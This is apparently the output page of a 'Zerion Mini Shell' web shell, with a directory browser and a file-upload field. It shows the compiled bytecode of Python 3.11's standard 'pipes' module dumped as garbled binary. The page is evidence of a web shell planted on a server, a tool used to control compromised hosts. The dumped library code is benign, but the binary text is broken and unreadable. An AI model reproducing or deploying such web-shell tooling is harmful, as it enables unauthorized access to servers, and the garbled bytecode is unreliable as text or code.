ok

Mini Shell

Direktori : /opt/alt/python311/lib64/python3.11/__pycache__/
Upload File :
Current File : //opt/alt/python311/lib64/python3.11/__pycache__/pipes.cpython-311.opt-2.pyc

�

�f#���	ddlZddlZddlZddlZddlmZejed���dgZdZ	dZ
dZd	Zd
Z
dZe	e
eee
egZGd�d��Zd
�ZdS)�N)�quote)��
)�remove�Template�ffz-fzf-�--z.-z-.c�X�eZdZ	d�Zd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
d	�Zd
�Zd�Z
d�Zd
S)rc�>�	d|_|���dS)Nr)�	debugging�reset��selfs �,/opt/alt/python311/lib64/python3.11/pipes.py�__init__zTemplate.__init__Xs��;�����
�
������c��d|j�d�S)Nz<Template instance, steps=�>��stepsrs r�__repr__zTemplate.__repr__]s��.�26�*�*�*�>�>rc��	g|_dS�Nrrs rr
zTemplate.resetas��J���
�
�
rc�d�	t��}|jdd�|_|j|_|Sr)rrr)r�ts  r�clonezTemplate.clonees/��	-��J�J���*�Q�Q�Q�-����n����rc��	||_dSr)r)r�flags  r�debugzTemplate.debugms��6�����rc��	t|t��std���|tvrt	d|�����|t
krt	d���|jr+|jddtkrt	d���|ddkr$tj	d	|��st	d
���|ddkr$tj	d|��st	d���|j�
||f��dS)
Nz%Template.append: cmd must be a stringzTemplate.append: bad kind z-Template.append: SOURCE can only be prepended����z'Template.append: already ends with SINKr�f�\$IN\bz#Template.append: missing $IN in cmd�\$OUT\bz$Template.append: missing $OUT in cmd)�
isinstance�str�	TypeError�	stepkinds�
ValueError�SOURCEr�SINK�re�search�append�r�cmd�kinds   rr/zTemplate.appendqs��=��#�s�#�#�	E��C�D�D�D��y� � ��*�t�t�E�F�F�F��6�>�>��L�M�M�M��:�	H�$�*�R�.��+�t�3�3��F�G�G�G���7�c�>�>�"�)�I�s�";�";�>��B�C�C�C���7�c�>�>�"�)�J��"<�"<�>��C�D�D�D��
���3��+�&�&�&�&�&rc��	t|t��std���|tvrt	d|�����|t
krt	d���|jr+|jddtkrt	d���|ddkr$tj	d|��st	d	���|ddkr$tj	d
|��st	d���|j�
d||f��dS)Nz&Template.prepend: cmd must be a stringzTemplate.prepend: bad kind z+Template.prepend: SINK can only be appendedrr"z,Template.prepend: already begins with SOURCEr#r$z$Template.prepend: missing $IN in cmdr%z%Template.prepend: missing $OUT in cmd)r&r'r(r)r*r,rr+r-r.�insertr0s   r�prependzTemplate.prepend�s��@��#�s�#�#�	F��D�E�E�E��y� � ��*���F�G�G�G��4�<�<��J�K�K�K��:�	M�$�*�Q�-��*�f�4�4��K�L�L�L���7�c�>�>�"�)�I�s�";�";�>��C�D�D�D���7�c�>�>�"�)�J��"<�"<�>��D�E�E�E��
���!�c�4�[�)�)�)�)�)rc��	|dkr|�|��S|dkr|�|��Std|�����)N�r�wz*Template.open: rw must be 'r' or 'w', not )�open_r�open_wr*)r�file�rws   r�openz
Template.open�s\��	J�
��9�9��;�;�t�$�$�$�
��9�9��;�;�t�$�$�$��j��B�!�"�"�	"rc���	|jst|d��S|jddtkrtd���|�|d��}tj|d��S)Nr7r!r"z)Template.open_r: pipeline ends width SINK�)rr=r,r*�makepipeline�os�popen�rr;r1s   rr9zTemplate.open_r�sl��	A��z�	#���c�?�?�"��:�b�>�!���$�$��H�I�I�I�����b�)�)���x��S�!�!�!rc���|jst|d��S|jddtkrtd���|�d|��}tj|d��S)Nr8rr"z,Template.open_w: pipeline begins with SOURCEr?)rr=r+r*r@rArBrCs   rr:zTemplate.open_w�sf���z�	#���c�?�?�"��:�a�=���v�%�%��K�L�L�L�����D�)�)���x��S�!�!�!rc�R�tj|�||����Sr)rA�systemr@)r�infile�outfiles   r�copyz
Template.copy�s"���y��*�*�6�7�;�;�<�<�<rc�h�t||j|��}|jrt|��d|z}|S)Nzset -x; )r@rr�print)rrGrHr1s    rr@zTemplate.makepipeline�s9���6�4�:�w�7�7���>�	#��#�J�J�J��s�"�C��
rN)�__name__�
__module__�__qualname__rrr
rrr/r5r=r9r:rIr@�rrrrUs�������1����
?�?�?����������'�'�'� *�*�*� "�"�"�"�"�"�"�"�"�=�=�=�����rc�V�g}|D]\}}|�d||dg���|s|�gd���|ddd�\}}|ddkr|s|�dgd���||dd<|ddd�\}}|ddkr|s|�gd���||dd<g}tdt|����D]�}||dz
d}||d}	|ddks|	ddkrXt	j��\}
}t
j|
��|�|��|x||dz
d<||d<��|D]�}|\}
}}}|ddkrd	t|��zd
z|z}|ddkrdt|
��zd
z|z}|ddkr|
r|d
zt|
��z}|ddkr|r|dzt|��z}||d<��|dd}|dd�D]8}|dd�\}}|ddkrd|vrd|zdz}|dz|z}�0|dz|z}�9|rBd}|D]}|dzt|��z}�dt|dz��zdz}|dz|zdz|z}|S)Nr?)r?�catr	r?rr"rr#r!�zOUT=z; zIN=�-z <z >z{ z; }z |
�
zrm -f� ztrap z; exitz 1 2 3 13 14 15)	r/r4�range�len�tempfile�mkstemprA�closer)rGrrH�listr1r2�garbage�i�lkind�rkind�fd�temp�item�inf�outf�cmdlist�rmcmdr;�trapcmds                   rr@r@�sL���D��)�)�	��T����R��d�B�'�(�(�(�(��+����)�)�)�*�*�*��q�'�!�A�#�,�K�S�$��A�w�#�~�~�f�~����A�,�,�,�-�-�-��D��G�A�J��r�(�1�Q�3�-�K�S�$��A�w�#�~�~�g�~����)�)�)�*�*�*��D��H�R�L��G�
�1�c�$�i�i�
 �
 �.�.���Q�q�S�	�!����Q���
����8�s�?�?�e�A�h�#�o�o�!�)�+�+�J�R���H�R�L�L�L��N�N�4� � � �)-�-�D��1��I�b�M�D��G�A�J���
�
��!%���c�4����7�c�>�>��5��;�;�&��-��3�C���7�c�>�>��%��*�*�$�t�+�c�1�C���7�c�>�>�c�>���*�u�S�z�z�)�C���7�c�>�>�d�>���*�u�T�{�{�*�C���Q����1�g�a�j�G��Q�R�R��+�+���1�Q�3�i���d���7�b�=�=��d�{�{��S�j�5�(����&��,�G�G���n�s�*�G�G��:����	.�	.�D��C�K�%��+�+�-�E�E��E�%�(�"2�3�3�3�6G�G���D�.�7�*�T�1�E�9���Nr)r-rArX�warnings�shlexr�_deprecatedrL�__all__�FILEIN_FILEOUT�
STDIN_FILEOUT�
FILEIN_STDOUT�STDIN_STDOUTr+r,r)rr@rOrr�<module>rps���8�v
�	�	�	�	�	�	�	������������������X�g�.�.�.�.��,�����
��
�������
�]�M�<�
�T�
�	�`�`�`�`�`�`�`�`�FB�B�B�B�Br

Zerion Mini Shell 1.0